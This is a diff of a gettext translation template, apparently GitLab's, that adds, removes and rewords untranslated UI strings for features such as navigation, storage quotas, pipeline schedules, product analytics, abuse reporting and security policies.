@@ -26080,9 +26354,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -26110,6 +26390,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -26137,6 +26420,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26422,10 +26711,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26485,6 +26777,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26916,6 +27211,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -27312,6 +27613,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -27336,6 +27640,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -27345,6 +27652,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -27370,24 +27680,36 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions are restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27481,6 +27803,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27611,9 +27954,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27929,9 +28269,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -28110,6 +28447,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28654,13 +29006,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28711,6 +29057,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -29142,6 +29500,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -29307,6 +29668,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29734,12 +30098,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29900,9 +30258,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -30049,12 +30404,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30586,7 +30935,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30601,6 +30950,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30613,6 +30965,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30640,6 +30995,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30658,6 +31019,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31612,9 +31976,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31672,6 +32033,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31699,7 +32063,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31714,9 +32081,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31828,6 +32192,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31840,27 +32207,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32515,6 +33083,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32734,6 +33314,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32809,9 +33392,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32983,9 +33563,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -33136,10 +33713,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -33271,6 +33848,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33895,6 +34475,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33907,6 +34505,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33943,6 +34544,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34677,6 +35281,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34944,9 +35551,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -35004,9 +35608,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -35043,6 +35644,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -36017,7 +36645,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -36394,7 +37022,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36601,6 +37229,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36625,9 +37259,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36643,6 +37274,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36652,12 +37286,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36850,9 +37508,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -37242,6 +37897,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -37263,6 +37927,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37542,7 +38209,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37605,10 +38272,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37623,6 +38290,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37692,9 +38362,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37914,9 +38581,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37944,6 +38608,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37974,9 +38641,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37995,9 +38659,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38779,6 +39440,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38996,9 +39660,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -39125,9 +39786,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -39158,6 +39816,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -39185,10 +39849,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -39200,22 +39864,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
-msgstr ""
-
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39713,6 +40371,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39908,15 +40572,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -40406,18 +41070,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
